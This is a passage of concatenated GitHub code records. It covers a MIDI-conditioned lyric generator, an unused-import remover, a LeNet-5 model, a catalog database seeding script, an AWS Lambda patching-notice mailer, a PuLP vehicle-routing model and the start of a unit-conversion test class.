+ [midi_end_time]  # for weighted average of tempos inside same slice\n    slice_tempos = [[] for i in range(len(slice_starts))]  # tempos in each slice\n    slice_tempo_lens = [[] for i in range(len(slice_starts))]  # len of tempos in each slice\n    slice_id = 0\n    for tempo_start, tempo_end, tempo in zip(tempo_starts, tempo_ends, tempos):\n        while slice_ends[slice_id] < tempo_end:  # next change is outside of slice\n            slice_tempos[slice_id].append(tempo)\n            slice_tempo_start = max(slice_starts[slice_id], tempo_start)\n            slice_tempo_lens[slice_id].append(slice_ends[slice_id] - slice_tempo_start)\n            slice_id += 1\n        slice_tempos[slice_id].append(tempo)\n        slice_tempo_start = max(slice_starts[slice_id], tempo_start)\n        slice_tempo_lens[slice_id].append(tempo_end - slice_tempo_start)\n    return [np.average(i, weights=j) for i, j in zip(slice_tempos, slice_tempo_lens)]\n\n\ndef get_slice_semitones(midi, num_slices):\n    \"\"\"\n    Compute average of each one of the 12 semitones in each midi\n    :param midi: to slice\n    :param num_slices: to split the midi into\n    :return: a list with the average semitones (np.array of size 12) for each slice\n    \"\"\"\n    slices_chromas = np.array_split(midi.get_chroma(), num_slices, axis=1)\n    slice_semitones = []\n    for slice_chroma in slices_chromas:\n        slice_velocity = sum(sum(slice_chroma))\n        if slice_velocity == 0:\n            slice_semitones.append([0] * len(slice_chroma))\n        else:\n            slice_semitones.append([sum(semitone) / slice_velocity for semitone in slice_chroma])\n    return slice_semitones\n\n\ndef get_slice_instruments_presence(midi, num_slices, midi_end_time, instrument_indexes):\n    \"\"\"\n    Compute the relative amount of time each instrument sounds relative to the others\n    :param midi: to slice\n    :param num_slices: to split the midi into\n    :param midi_end_time: time where midi ends\n    :param instrument_indexes: computed by the method \"get_midis_and_texts\"\n    :return: array where each entry is a list of size num_instruments with relative instrument presence in each slice\n    \"\"\"\n    midi_note_matrix = get_note_matrix(midi, midi_end_time, instrument_indexes)\n    slices_note_matrix = np.array_split(midi_note_matrix, num_slices, axis=1)\n    slice_instruments_presence = []\n    for slice_note_matrix in slices_note_matrix:\n        total_presence = np.sum(slice_note_matrix)\n        if total_presence == 0:\n            slice_instruments_presence.append([0] * len(instrument_indexes))\n        else:\n            slice_instruments_presence.append((np.sum(slice_note_matrix, axis=1) / total_presence).tolist())\n    return slice_instruments_presence\n\n\ndef get_note_matrix(midi, midi_end_time, instrument_indexes):\n    \"\"\"\n    Get a matrix that indicates in each timestep which instruments are sounding\n    :param midi: to slice\n    :param midi_end_time: time where midi ends\n    :param instrument_indexes: computed by the method \"get_midis_and_texts\"\n    :return: matrix of dim [num_instruments, total midi time] with note markings for each instrument\n    \"\"\"\n    note_matrix = np.zeros([len(instrument_indexes), int(midi_end_time)])\n    for instrument in midi.instruments:\n        row = note_matrix[instrument_indexes[instrument.program]]\n        for note in instrument.notes:\n            row[int(note.start): int(note.end) + 1] = 1\n    return note_matrix\n\n\ndef get_set(texts, midi_indexes, slices_indexes, word_indexes, nlp):\n    \"\"\"\n    Get a set ready to be fed into the RNN\n    :param texts: lyrics of the songs in the set\n    :param midi_indexes: indexes of midi embeddings in set\n    :param slices_indexes: indexes of midi slice embeddings in set\n    :param word_indexes: indexes of word in whole vocabulary\n    :param nlp: the Spacy model\n    :return: array with four elements, the indexes of [words, midis, midi slices, target classes] in the set\n    \"\"\"\n    x_words, x_midis, x_midis_sliced, y = [], [], [], []\n    for i in range(len(texts)):\n        text, midi_index = texts[i], midi_indexes[i]\n        words = [token.text for token in nlp(text.strip())]\n        text_word_indexes = [word_indexes[word] for word in words]  # indexes of words in this text\n        x_words.extend(text_word_indexes[:-1])  # shape (len(text)-1 = num of \"words in text except the last one\")\n        x_midis.extend([midi_index] * (len(text_word_indexes) - 1))  # shape (len(text)-1, len(midi_vector))\n        x_midis_sliced.extend(get_x_midi_sliced(words[:-1], slices_indexes[i]))\n        y.extend(text_word_indexes[1:])\n    return [np.array(x_words), np.array(x_midis), np.array(x_midis_sliced)], np.array(y)\n\n\ndef get_x_midi_sliced(words, slice_indexes):\n    \"\"\"\n    Get the indexes of midi slices in set, to be used by the method \"get_set\"\n    :param words:\n    :param slice_indexes:\n    :return:\n    \"\"\"\n    x_midi_sliced = []\n    midi_slice_idx = 0\n    for word in words:\n        x_midi_sliced.append(slice_indexes[midi_slice_idx])\n        if word == '&':  # end of phrase\n            midi_slice_idx += 1\n    return x_midi_sliced\n\n\ndef build_model(word_embeddings, midi_embeddings, lstm_lens, dense_lens, mode, slice_embeddings):\n    \"\"\"\n    Build the lyric generating model, employs the Adam optimizer and sparse categorical cross-entropy\n    :param word_embeddings: np.array with the word embeddings\n    :param midi_embeddings: np.array with the midi embeddings\n    :param lstm_lens: array with the size of each lstm layer to process words and midi slices\n    :param dense_lens: array with the size of each dense layer to process the concatenated vector\n    :param mode: 'no midi' -> ignore midi and slices, 'simple' -> ignore slices, 'complex' -> ignore nothing\n    :param slice_embeddings: np.array with the midi slice embeddings\n    :return: compiled model\n    \"\"\"\n    # word component\n    word_in = Input(shape=(1,), name='word_in')\n    lstm_word = Embedding(word_embeddings.shape[0], word_embeddings.shape[1],\n                          trainable=False, weights=[word_embeddings], input_length=1)(word_in)\n    # generate lstm layers in a loop\n    for i, lstm_len in enumerate(lstm_lens):\n        if i > 0:  # for getting the right dimensionality\n            lstm_word = Reshape(tuple([1, lstm_word.shape[1]]))(lstm_word)\n        lstm_word = LSTM(lstm_len, dropout=0.1)(lstm_word)\n\n    if mode != 'no midi':\n        # midi component\n        midi_in = Input(shape=(1,), name='midi_in')\n        midi_embedding = Embedding(midi_embeddings.shape[0], midi_embeddings.shape[1],\n                            trainable=False, weights=[midi_embeddings], input_length=1)(midi_in)\n        midi_embedding = Reshape(tuple([midi_embedding.shape[2]]))(midi_embedding)\n\n        # concatenation\n        if mode == 'complex':\n            # midi slice component\n            slice_in = Input(shape=(1,), name='slice_in')\n            lstm_slice = Embedding(slice_embeddings.shape[0], slice_embeddings.shape[1],\n                                  trainable=False, weights=[slice_embeddings], input_length=1)(slice_in)\n            # generate lstm layers in a loop\n            for i, lstm_len in enumerate(lstm_lens):\n                if i > 0:  # for getting the right dimensionality\n                    lstm_slice = Reshape(tuple([1, lstm_slice.shape[1]]))(lstm_slice)\n                lstm_slice = LSTM(lstm_len, dropout=0.1)(lstm_slice)\n            dense = concatenate([lstm_word, midi_embedding, lstm_slice])\n        else:\n            dense = concatenate([lstm_word, midi_embedding])\n    else:  # no concatenation since midi and midi slices are ignored\n        dense = lstm_word\n    # generate dense layers in a loop\n    for dense_len in dense_lens:\n        dense = Dense(dense_len)(dense)\n        dense = Dropout(0.1)(dense)\n    output = Dense(word_embeddings.shape[0], activation='softmax')(dense)\n    if mode == 'no midi':\n        model_input = word_in\n    elif mode == 'simple':\n        model_input = [word_in, midi_in]\n    else:\n        model_input = [word_in, midi_in, slice_in]\n    model = Model(model_input, output, name=mode)\n    model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['acc'])\n    return model\n\n\ndef generate_texts(model, x_test, vocabulary, first_word_idx):\n    \"\"\"\n    Generate lyrics that start with a particular word, for all instances in test\n    :param model: lyric generating model\n    :param x_test: input for the model that corresponds to the test set\n    :param vocabulary: output from the method \"get_vocabulary_and_word_embeddings\"\n    :param first_word_idx: index of the first word for the generated lyrics\n    :return: list with generated lyrics for each song in test set\n    \"\"\"\n    mode = model.name\n    generated_texts = []\n    prev_midi_idx = -1\n    idx_range = range(len(vocabulary))\n    for i in range(len(x_test[0])):\n        curr_midi_idx = x_test[1][i]\n        if mode == 'complex':\n            midi_slice_idx = x_test[2][i]\n        if prev_midi_idx != curr_midi_idx:  # got to next song\n            prev_midi_idx = curr_midi_idx\n            if i != 0:  # save text generated from last song\n                text = ' '.join(generated_text)\n                print(text)\n                generated_texts.append(text)\n            print('test song %d' % (len(generated_texts) + 1))\n            word_idx = first_word_idx\n            generated_text = [vocabulary[word_idx]]\n            model.reset_states()\n        if mode == 'no midi':\n            pred_word_idxs = model.predict([[word_idx]])\n        elif mode == 'simple':\n            pred_word_idxs = model.predict([[word_idx], [curr_midi_idx]])\n        else:\n            pred_word_idxs = model.predict([[word_idx], [curr_midi_idx], [midi_slice_idx]])\n        word_idx = int(choice(idx_range, 1, p=pred_word_idxs.reshape(-1)))\n        generated_text.append(vocabulary[word_idx])\n    text = ' '.join(generated_text)\n    print(text)\n    generated_texts.append(text)  # append last generated text\n    return generated_texts\n\n\ndef write_to_file(history, generated_texts, layer_sizes, iteration, model_name):\n    \"\"\"\n    Write the results to a file\n    :param history: output from model.fit\n    :param generated_texts: output from method \"generate_texts\"\n    :param layer_sizes: to differentiate folder\n    :param iteration: to differentiate folder\n    :param model_name: to differentiate folder\n    \"\"\"\n    layers_str = '_'.join([str(i) for i in layer_sizes])\n    dir_name = 'drive/My Drive/Colab results/lyric generator results/layers_%s/%s' % (layers_str, model_name)\n    if not os.path.exists(dir_name):\n        os.makedirs(dir_name)\n    to_file = []\n    header = \"epoch\"\n    scores = []\n    epoch = 0\n    for key in history:\n        header = \"%s,%s\" % (header, key)\n        scores.append(history[key])\n\n    to_file.append(header)\n    for i in range(len(scores[0])):\n        epoch += 1\n        line = \"%d\" % epoch\n        for j in range(len(scores)):\n            line = \"%s,%s\" % (line, scores[j][i])\n        to_file.append(line)\n\n    with open('%s/train_results.csv' % dir_name, 'w') as file:\n        for line in to_file:\n            file.write(\"%s\\n\" % line)\n\n    with open('%s/test_results_%d.csv' % (dir_name, iteration), 'w') as file:\n        for line in generated_texts:\n            file.write(\"%s\\n\" % line)\n\n# todo: run \"pip install pretty_midi\" in terminal\n# todo: run \"python -m spacy download en_core_web_md\" in terminal\n# todo: select experiment parameters:\n# base_dir = 'DL3/'  # for colab\nbase_dir = ''  # for pc\ntrain_subset = 0  # for speeding up debugging. select 0 for whole train set\nval_split = 0.2\n# mode = 'no midi'\nmode = 'simple'\n# mode = 'complex'\nlstm_lens = [128]\ndense_lens = [512]\nepochs = 30\nbatch_size = 256\n\ndataset_dir = '%sdataset' % base_dir\ncache_dir = '%scaches/%d' % (base_dir, train_subset)\ninstances_train = pd.read_csv('%s/lyrics_train_set.csv' % dataset_dir, header=None)\ninstances_test = pd.read_csv('%s/lyrics_test_set.csv' % dataset_dir, header=None)\n\nif train_subset > 0:\n    instances_train = instances_train[:train_subset]\n\nif not os.path.exists(cache_dir):\n    os.makedirs(cache_dir)\ninstrument_indexes = {}\n\nprint('loading texts and midis...')\nprint('train:')\nmidis_train, texts_train = get_midis_and_texts(instances_train, dataset_dir, instrument_indexes, 'train')\nprint('test:')\nmidis_test, texts_test = get_midis_and_texts(instances_test, dataset_dir, instrument_indexes, 'test')\n\nprint('building word embeddings...')\nnlp = spacy.load('en_core_web_md')  # 300 dim embeddings\n# nlp = spacy.load('en_core_web_sm')  # smaller embeddings\nword_indexes, word_embeddings, vocabulary = get_vocabulary_and_word_embeddings(texts_train, texts_test, nlp)\n\nprint('building midi embeddings...')\nmidi_embeddings, midi_sliced_embeddings, slice_indexes_train, slice_indexes_test = get_midi_embeddings()\n\ntrain_len = len(texts_train)\nmidi_indexes_train = list(range(train_len))\nmidi_indexes_test = list(range(train_len, train_len + len(texts_test)))\nval_len = int(len(texts_train) * val_split)\nprint('building train set...')\nx_train, y_train = get_set(texts_train[:-val_len], midi_indexes_train[:-val_len], slice_indexes_train[:-val_len],\n                           word_indexes, nlp)\nprint('building validation set...')\nx_val, y_val = get_set(texts_train[-val_len:], midi_indexes_train[-val_len:], slice_indexes_train[-val_len:],\n                       word_indexes, nlp)\nprint('building test set...')\nx_test, y_test = get_set(texts_test, midi_indexes_test, slice_indexes_test, word_indexes, nlp)\n\n# build model\nmodel = build_model(word_embeddings, midi_embeddings, lstm_lens, dense_lens, mode, midi_sliced_embeddings)\nmodel.summary()\ncheckpoint = ModelCheckpoint('checkpoint.h5', save_best_only=True)\nif mode == 'no midi':\n  x_train_mode, x_val_mode = x_train[0], x_val[0]\nelif mode == 'simple':\n  x_train_mode, x_val_mode = x_train[:-1], x_val[:-1]\nelse:\n  x_train_mode, x_val_mode = x_train, x_val\nhistory = model.fit(x_train_mode, y_train, batch_size, epochs, callbacks=[checkpoint], validation_data=(x_val_mode, y_val))\nmodel = load_model('checkpoint.h5')\n\n# generate text for all the 5 test melodies, 3 times\nfirst_word_idxs = [word_indexes[word] for word in ['the', 'you', 'world']]\nfor i, first_word_idx in enumerate(first_word_idxs):\n    print('iteration %d/3' % (i + 1))\n    generated_texts = generate_texts(model, x_test, vocabulary, first_word_idx)\n    write_to_file(history.history, generated_texts, lstm_lens, i + 1, model.name)\n\nprint('\\ndone')\n","repo_name":"jonmartz/DL3","sub_path":"LyricGenerator.py","file_name":"LyricGenerator.py","file_ext":"py","file_size_in_byte":23374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6898801383","text":"\"\"\"\nRemoves unused imports in a file\n\nTODO:\n- Add tests\n- Handle/ignore conditional global imports\n- Handle shadowing variables\n\n\"\"\"\nfrom util import type_name\nfrom visitor import NodeVisitor\n\n\nclass Visitor(NodeVisitor):\n    def __init__(self):\n        self.imports = {}\n        self.names = {}\n        self.multi_imports = []\n        self.in_trailer = 0\n\n    def visit_import_name(self, node):\n        name_child = node.children[1]\n        type = type_name(name_child)\n        if type == \"NAME\":\n            name = name_child.value\n        elif type == \"dotted_name\":\n            name = \"\".join(\n                c.value for c in name_child.children)\n        elif type == \"dotted_as_name\":\n            name = name_child.children[2].value\n        else:\n            raise Exception(\"Unknown type\", type)\n        self.imports[name] = [node.parent]\n\n    def visit_import_from(self, node):\n        name_child = node.children[-1]\n        type = type_name(name_child)\n        name = \"\"\n        if type == \"NAME\":\n            name = name_child.value\n        elif type == \"import_as_name\":\n            name = name_child.children[-1].value\n        elif type == \"import_as_names\":\n            self.multi_imports.append(node)\n            self.visit_import_as_names(name_child)\n        elif type == \"RPAR\":\n            prev_node = name_child.prev_sibling\n            assert(type_name(prev_node) == \"import_as_names\")\n            self.multi_imports.append(node)\n            self.visit_import_as_names(prev_node)\n        else:\n            raise Exception(\"Unknown type\", type)\n        if name:\n            self.imports[name] = [node.parent]\n\n    def visit_import_as_names(self, node):\n        for child in node.children:\n            type = type_name(child)\n            name_child = None\n            if type == \"COMMA\":\n                continue\n            if type == \"import_as_name\":\n                name_child = child.children[-1]\n            elif type == \"NAME\":\n                name_child = child\n            else:\n                raise Exception(\"Unknown type\", type)\n            if not name_child:\n                continue\n            name = name_child.value\n            if name_child is node.children[-1]:\n                self.imports[name] = [\n                    child.prev_sibling, child]\n            else:\n                self.imports[name] = [\n                    child, child.next_sibling]\n\n    def visit_power(self, node):\n        first = node.children[0]\n        rest = node.children[1:]\n        type = type_name(first)\n        if type == \"AWAIT\":\n            first = node.children[1]\n            rest = node.children[2:]\n        elif type == \"atom\":\n            return self.generic_visit(node)\n        name = first.value\n        self.names[name] = node\n        ended = False\n        for child in rest:\n            if type_name(child) != \"trailer\" or \\\n                type_name(child.children[0]) != \"DOT\":\n                ended = True\n            if ended:\n                self.generic_visit(child)\n            else:\n                name += \".\" + child.children[1].value\n                self.names[name] = child\n\n    def visit_trailer(self, node):\n        is_dotted = node.children[0].value == \".\"\n        if is_dotted:\n            self.in_trailer += 1\n        self.generic_visit(node)\n        if is_dotted:\n            self.in_trailer -= 1\n        self.generic_visit(node)\n\n    def visit_NAME(self, node):\n        if self.in_trailer == 0:\n            self.names[node.value] = node\n\n    def visit_dotted_name(self, node):\n        name = \"\"\n        for child in node.children:\n            name += child.value\n            if type_name(child) == \"DOT\":\n                continue\n            self.names[name] = node\n\n    def remove_import(self, node):\n        if not node:\n            return\n        prefix = node.prefix\n        if node.next_sibling:\n            node.next_sibling.prefix = prefix + node.next_sibling.prefix\n        node.remove()\n\n    def visit_ENDMARKER(self, node):\n        for name in self.imports:\n            if name in self.names:\n                continue\n            for node in self.imports[name]:\n                self.remove_import(node)\n        for node in self.multi_imports:\n            import_as_node = node.children[-1]\n            if type_name(import_as_node) == \"RPAR\":\n                import_as_node = import_as_node.prev_sibling\n            if len(import_as_node.children):\n                continue\n            self.remove_import(node.parent)\n","repo_name":"banga/prefactor","sub_path":"visitors/remove_unused_imports.py","file_name":"remove_unused_imports.py","file_ext":"py","file_size_in_byte":4475,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"21"}
+{"seq_id":"20449568697","text":"#!/usr/bin/env python3\n\"\"\"\nLeNet-5 (Keras)\n\"\"\"\n\nimport tensorflow.keras as K\n\n\ndef lenet5(X):\n    \"\"\"\n    Function that builds a modified version of the LeNet-5\n    architecture using keras\n    \"\"\"\n    initializer = K.initializers.he_normal(seed=None)\n\n    conv_layer1 = K.layers.Conv2D(filters=6, kernel_size=5,\n                                  padding='same',\n                                  activation='relu',\n                                  kernel_initializer=initializer)(X)\n    pool_layer1 = K.layers.MaxPooling2D(\n        pool_size=[2, 2],\n        strides=2)(conv_layer1)\n\n    conv_layer_2 = K.layers.Conv2D(filters=16, kernel_size=5,\n                                   padding='valid',\n                                   activation='relu',\n                                   kernel_initializer=initializer)(pool_layer1)\n\n    pool_layer2 = K.layers.MaxPooling2D(pool_size=[2, 2],\n                                        strides=2)(conv_layer_2)\n\n    flat_layer = K.layers.Flatten()(pool_layer2)\n\n    fully_c_layer1 = K.layers.Dense(120, activation='relu',\n                                    kernel_initializer=initializer)(flat_layer)\n\n    fully_c_layer2 = K.layers.Dense(84, activation='relu',\n                                    kernel_initializer=initializer)(\n                                        fully_c_layer1)\n\n    out_soft_layer = K.layers.Dense(10,\n                                    activation='softmax',\n                                    kernel_initializer=initializer)(\n                                        fully_c_layer2)\n\n    model = K.models.Model(X, out_soft_layer)\n    model.compile(optimizer=K.optimizers.Adam(),\n                  loss='categorical_crossentropy',\n                  metrics=['accuracy'])\n    return model\n","repo_name":"nildiert/holbertonschool-machine_learning","sub_path":"supervised_learning/0x07-cnn/5-lenet5.py","file_name":"5-lenet5.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"31021239105","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nfrom db_setup import Category, Base, Item, User\nfrom random import randint\nengine = create_engine('sqlite:///itemcatalog.db')\n# Bind the engine to the metadata of the Base class so that the\n# declaratives can be accessed through a DBSession instance\nBase.metadata.bind = engine\n\nDBSession = sessionmaker(bind=engine)\n# A DBSession() instance establishes all conversations with the database\n# and represents a \"staging zone\" for all the objects loaded into the\n# database session object. Any change made against the objects in the\n# session won't be persisted into the database until you call\n# session.commit(). If you're not happy about the changes, you can\n# revert all of them back to the last commit by calling\n# session.rollback()\nsession = DBSession()\n\nsession.query(User).delete()\nsession.commit()\n\nsession.query(Category).delete()\nsession.commit()\n\nsession.query(Item).delete()\nsession.commit()\n\nprint(\"DELETED ALL ENTRIES!\")\nprint(\"--------------------------\")\n\ntry:\n    User1 = User(name=\"Robo Barista\",\n                 email=\"tinnyTim@udacity.com\", picture=\"hg\")\n    session.add(User1)\n    session.commit()\n\n    with open('data.txt', 'r+') as file:\n        data = file.read().splitlines()\n\n        i = 0\n        while i < len(data):\n            userID = randint(1, 3)\n            cat = data[i]\n            category = Category(user_id=userID, name=cat)\n            session.add(category)\n            session.commit()\n            print(cat)\n            while True:\n                itemName = data[i+1]\n                itemDescr = data[i+2]\n                item = Item(name=itemName, description=itemDescr,\n                            user_id=userID, category_id=category.id)\n                #print(cat, itemName, itemDescr)\n                print('- %s' % itemName)\n                session.add(item)\n                session.commit()\n                if data[i+3] == '-':\n                    i += 4\n                    break\n                i += 2\nexcept:\n    pass\nfinally:\n    print(\"--------------------------\")\n\nprint(\"--------------------------\")\n","repo_name":"Temirkhanov/ItemCatalog","sub_path":"populate.py","file_name":"populate.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18239518491","text":"r, c = map(int, input().split())\na = [list(input()) for _ in range(r)]\nn = int(input())\nthrow = list(map(int, input().split()))  # 왼쪽/오른쪽 번갈아가며\n\ndx = [0, 0, 1, -1]\ndy = [1, -1, 0, 0]\n\n\ndef dfs(x, y, check, group):\n    if a[x][y] == \".\":\n        return\n    if check[x][y]:\n        return\n    check[x][y] = True\n    group.append((x, y))\n    for k in range(4):\n        nx, ny = x + dx[k], y + dy[k]\n        if 0 <= nx < r and 0 <= ny < c:\n            dfs(nx, ny, check, group)\n\n\ndef simulate():\n    check = [[False]*c for _ in range(r)]\n    for x in range(r):\n        for y in range(c):\n            if a[x][y] == '.':\n                continue\n            if check[x][y]:\n                continue\n            group = []\n            dfs(x, y, check, group)\n            low = [-1] * c\n            for gx, gy in group:\n                low[gy] = max(low[gy], gx)\n                a[gx][gy] = '.'\n            lowest = r   #이게 땅이다.\n            for j in range(c):\n                if low[j] == -1:\n                    continue\n                i = low[j]\n                while i < r and a[i][j] == '.':\n                    i += 1\n                lowest = min(lowest, i-low[j]-1)\n            for gx, gy in group:\n                gx += lowest\n                a[gx][gy] = 'x'\n                check[gx][gy] = True\n\n\nfor i in range(len(throw)):\n    # 홀수번째 던지기\n    height = r - throw[i]\n    if i % 2 == 0:\n        for j in range(c):\n            if a[height][j] == 'x':\n                a[height][j] = '.'\n                break\n\n    # 짝수번째 던지기\n    else:\n        for j in range(c-1, -1, -1):\n            if a[height][j] == 'x':\n                a[height][j] = '.'\n                break\n\n    simulate()\n\nfor row in a:\n    print(row)\n\n","repo_name":"yeonnseok/ps-algorithm","sub_path":"2019 baekjoon/Simulation/2933_mineral.py","file_name":"2933_mineral.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"38271149479","text":"import boto3\r\n\r\ndef getec2details(event, context):\r\n    tolist = []\r\n    idlist = []\r\n    fflist = []\r\n    ec2client = boto3.client('ec2')\r\n    response = ec2client.describe_instances(\r\n                    Filters=[\r\n                        {\r\n                            'Name': 'tag-key',\r\n                            'Values': ['auto_patching']}])['Reservations']\r\n    # tolist = ['sri.pavan.tipirneni@spglobal.com'] #debug\r\n    if len(response) != 0:\r\n        for values in response:\r\n            taglist = values['Instances'][0]['Tags']\r\n            for keys in taglist:\r\n                if keys['Key'] == 'Owner' or keys['Key'] == 'owner' or keys['Key'] == 'creatorid' or keys['Key'] == 'CreatorId':\r\n                    if keys['Value'] not in tolist:\r\n                        tolist.append(keys['Value'].lower())\r\n    else:\r\n        tolist.append('mi-aws-cloudcustodian@spglobal.com')\r\n    for emails in tolist:\r\n        if emails not in fflist:\r\n            fflist.append(emails)\r\n    if len(response) != 0:\r\n        for data in response:\r\n            if data['Instances'][0]['InstanceId'] not in idlist:\r\n                idlist.append(data['Instances'][0]['InstanceId'])\r\n    else:\r\n        idlist.append(\"No Instances available for patching\")\r\n    for add in fflist:\r\n        #print (add) ## debug\r\n        if add.find('@') < 0:\r\n            fflist.remove(add)\r\n            #print ('removed:',add) ##debug\r\n    return fflist,idlist\r\n\r\ndef lambda_handler(event, context):\r\n    toemaillist,instanceslist = getec2details(event, context)\r\n    sescli = boto3.client('ses')\r\n    print(\"Sending email to {0}\".format(toemaillist) )\r\n    strTable = \"<tr><th>InstanceID</th></tr>\"\r\n    for values in instanceslist:\r\n        strRW = \"<tr><td>\"+values+\"</td></tr>\"\r\n        strTable = strTable+strRW\r\n    BODY_HTML = \"\"\"<html><head><style>table, th, td {border: 1px solid black;}</style></head><body><h2>EC2 Patching\"\"\"+ event['processstage']+\"\"\"</h2><p> Below is the list of Instances that are being patched</p><table style=\"width:30%\">\"\"\"+strTable+\"\"\"</table></body></html>\"\"\"\r\n    data = 'EC2 Patching has'+event['processstage']\r\n    sescli.send_email(\r\n                        Source= 'mi-aws-cloudcustodian@spglobal.com',\r\n                        Destination={'ToAddresses': toemaillist},\r\n                        Message={\r\n                            'Subject': { 'Data': data},\r\n                            'Body': {'Html': {'Charset': \"UTF-8\",'Data': BODY_HTML}}})\r\n\r\n#### Invoking payload details\r\n##\"Payload\": \"{\\\"processstage\\\":\\\"starting\\\"}\"\r\n##\"Payload\": \"{\\\"processstage\\\":\\\"has ended\\\"}\"\r\n## lambda test event data\r\n# {\r\n#   \"processstage\": \" has started.\"\r\n# }\r\n","repo_name":"suneeltejaa/test102","sub_path":"mailerpythonlambda.py","file_name":"mailerpythonlambda.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10137486061","text":"import pulp\nimport pandas as pd\n\ndataset = {1: 'woodler_data_5_sites', 2: 'woodler_data_10_sites', 3: 'woodler_data_30_sites'}[2]\nsub_tour_elimination_MTZ = False\nsub_tour_elimination_DFJ = False\ntime_limit = 60\nmip_gap = 0.05\n\ndataset_path = f\"../data/{dataset}.xlsx\"\nsites = pd.read_excel(dataset_path, sheet_name='sites')\ntrucks = pd.read_excel(dataset_path, sheet_name='trucks')\ntransit_matrix = pd.read_excel(dataset_path, sheet_name='transit_matrix')\n\nI = set(sites['Site ID'])\ntd = dict(zip(zip(transit_matrix['Origin Site ID'], transit_matrix['Dest. Site ID']), transit_matrix['Distance (KM)']))\nvc = trucks['Variable Cost (dollar/KM)'].iloc[0]  # variable cost of the first truck\ndepot_id = sites[sites['Site Name'] == 'DC']['Site ID'].iloc[0]\n\n# keys of decision variables\nx_keys = [(i, j) for i in I for j in I if i != j]\n\n# Define the model\nmdl = pulp.LpProblem('woodler', sense=pulp.LpMinimize)\n\n# Add variables\nx = pulp.LpVariable.dicts(indices=x_keys, cat=pulp.LpBinary, name='x')\n\n# Add Constraints\n# Flow balance\nfor h in I:\n    mdl.addConstraint(sum(x.get((i, h), 0) for i in I) == sum(x.get((h, j), 0) for j in I), name=f'c4_{h}')\n\n# Must visit every site\nfor j in I:\n    mdl.addConstraint(sum(x.get((i, j), 0) for i in I) == 1, name=f'c5_{j}')\n\n# Miller–Tucker–Zemlin (MTZ) sub-tour elimination constraints\nif sub_tour_elimination_MTZ:\n    u = pulp.LpVariable.dicts(indices=I, cat=pulp.LpInteger, lowBound=0, upBound=len(I)-1, name='u')\n    for i, j in x_keys:\n        if j != depot_id:\n            mdl.addConstraint(u[i] - u[j] + 1 <= len(I) * (1 - x[i, j]), name=f'mtz_{i}_{j}')\nelse:\n    u = None\n\n# Dantzig–Fulkerson–Johnson (DFJ) sub-tour elimination constraints\nif sub_tour_elimination_DFJ:\n    # two-sites sub-tours\n    for i, j in x_keys:\n        mdl.addConstraint(x[i, j] + x.get((j, i), 0) <= 1, name=f'dfj_{i}_{j}')\n\n# Set the objective function\nvariable_cost = sum(vc * td[i, j] * x[i, j] for i, j in x_keys)\nmdl.setObjective(variable_cost)\n\n# Optimize\nstatus = mdl.solve(pulp.PULP_CBC_CMD(timeLimit=time_limit, gapRel=mip_gap))\nif pulp.LpStatus[status] == 'Optimal':\n    # Retrieve the solution\n    x_sol = [key for key in x_keys if x[key].value() > 0.5]\n    print(f'Total Cost: {round(variable_cost.value(), 2)}')\n    print(f'x_sol: {x_sol}')\n    if u:\n        u_sol = [(u[i].value(), i) for i in I]\n        u_sol = sorted(u_sol, key=lambda t: t[0])\n        path = [i for _, i in u_sol]\n        print(f'Path: {path}')\nelse:\n    print(f'Optimization status: {pulp.LpStatus[status]}')\n","repo_name":"mipwise/use-cases","sub_path":"woodler/scripts/woodler_single_truck_pulp.py","file_name":"woodler_single_truck_pulp.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"15957682959","text":"import logging\nimport math\nfrom . import daveML\n\n###############################################################################\nclass UnitTest:\n    \"\"\"A unit test class.  \n    \n    A base class that other classes derive for unit testing.\n    \n    Attributes:\n        FailCount: The number of failed tests.\n        ClassName: A string to identify the class performing the unit test.\n    \"\"\"\n\n    FailCount = 0\n    ClassName = \" \"\n    \n    def TestValue(self, actualValue, testValue, label, tol):\n        \"\"\"Tests whether two values match within a tolerance.  \n        \n        A string label is passed to identify the test. An error via logging is\n        printed if the test fails.\n        \n        Example:\n            TestValue( 2, 1+1, \"SimpleAdd\", 1e-2)\n\n        Args:\n            actualValue: The expected value from doing the test.\n            testValue: The computed value from doing the test.\n            label: A label to identify the specific test.\n            tol: The tolerance for the actual and test values to match.\n        \"\"\"\n        if abs(actualValue - testValue) > tol:\n            self.FailCount += 1\n            labelStr = \"[\" + self.ClassName + \"]\" + label\n            actStr = labelStr + \": Test failed. Expected: {};\".format(actualValue)\n            calStr = \" Calculated: {}\".format(testValue)\n            logging.error(actStr+calStr)\n            \n    def TestArray(self, arrayData):\n        \"\"\"Performs multiple tests on an array of data. \n        \n        Example:\n            Create a data array containing the desired value, the test value,\n            the identity string, and the tolerance.\n            \n            checkData = (\n              (  4.0, 2.0*2.0, \"MultipleTest\", 1e-6),\n              ( 16.0, 8.0+8.0, \"Add-Example\",  1e-5)\n            )\n            \n            TestArray(checkData)\n        \"\"\"\n        for d in arrayData:\n            self.TestValue( d[0], d[1], d[2], d[3] )\n\n###############################################################################\nclass Convert(UnitTest):\n    \"\"\"A class for performing unit conversions.\n    \n    | unit           | abbreviation |\n    |:---------------|:-------------|\n    | second         | s            |\n    | minute         | min          |\n    | inch           | inch         |\n    | foot           | ft           |\n    | meter          | m            |\n    | nautical mile  | nmi          |\n    | statute mile   | smi          |\n    | kilometer      | km           |\n    | centimeter     | cm           |\n    | millimeter     | mm           |\n    | pound force    | lbf          |\n    | Newton         | N            |\n    | kilogram force | kgf          |\n    | kilogram       | kg           |\n    | pound mass    